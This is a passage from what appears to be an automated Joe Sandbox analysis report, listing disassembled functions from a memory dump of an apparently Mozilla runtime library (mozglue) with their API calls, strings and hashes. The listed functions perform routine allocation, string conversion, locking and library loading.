Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE04F

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5EE057

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction ID: 311f705e782029e37bc71f3de8ce26da2f858949bb1ab0098b31701e244e8fef
Opcode Fuzzy Hash: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction Fuzzy Hash: D1218EB4B002189FDF04DF65DC98AEEB7B5AF89208F144428E90A97740DB75AD09CBE5

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

UnmapViewOfFile2, xrefs: 6C607552
kernel32.dll, xrefs: 6C607557

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770,-00000001,?,6C61E330,?,6C5CBDF7), ref: 6C60A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5CBDF7), ref: 6C60A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5CBDF7), ref: 6C60A7E4
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A80A

Strings

accelerator.dll, xrefs: 6C60A7BF

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction ID: 5cef88f43186b395a0e474526579395594c13a309dd8d023756b0032bba4bb40
Opcode Fuzzy Hash: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction Fuzzy Hash: D301A2707103149FDB08CF5AE8C4D5177B8FB8A395B04806AE94A9B712DB70AC00CFA9

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

ntdll.dll, xrefs: 6C6075B3
RtlNtStatusToDosError, xrefs: 6C6075D1

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

ntdll.dll, xrefs: 6C607603
NtUnmapViewOfSection, xrefs: 6C607621

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5F27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F289A
free.MOZGLUE(?,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F2910
free.MOZGLUE(00000001,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F294E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction ID: bf0f97ffe9af2523b645ed8506169aaf78dee140e16a178df6ecb71f315f4a7b
Opcode Fuzzy Hash: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction Fuzzy Hash: 7941CEF1A002468BEB18CF68DC8436A77F6AB45308F244929D566EB740E731E946CF92

Function 6C5ACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5AD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5AD139

Strings

MOZ_CRASH(), xrefs: 6C5AD187

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction ID: 369405952f0bc1f4f4d222e6460ad6f6a41bac1ebe5f3cc108a06a2e287e30c3
Opcode Fuzzy Hash: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction Fuzzy Hash: 7241AE31B402168FDB04DEBE8CD03AE76A4EB49750F140139EE58E7784E7A998018BC9

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C60A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770), ref: 6C60A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A87B

Part of subcall function 6C60A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C60A88F,00000000), ref: 6C60A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C60A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A90C
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A97E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction ID: e8bf8b976c3cfef6700ccf7d4327f7eafff02a508b5e6acea714a64f3b2707c6
Opcode Fuzzy Hash: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction Fuzzy Hash: B241B2B0E006049FDB04DFA8D885BDEB770FF05324F108629E826AB791D7359945CB99

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C5AB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5AB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5AB849

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction ID: 44f6ea9aa3b6b0ed744e977f3b043ce96f4f9c6e6e11de465efe0d2389698f9c
Opcode Fuzzy Hash: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
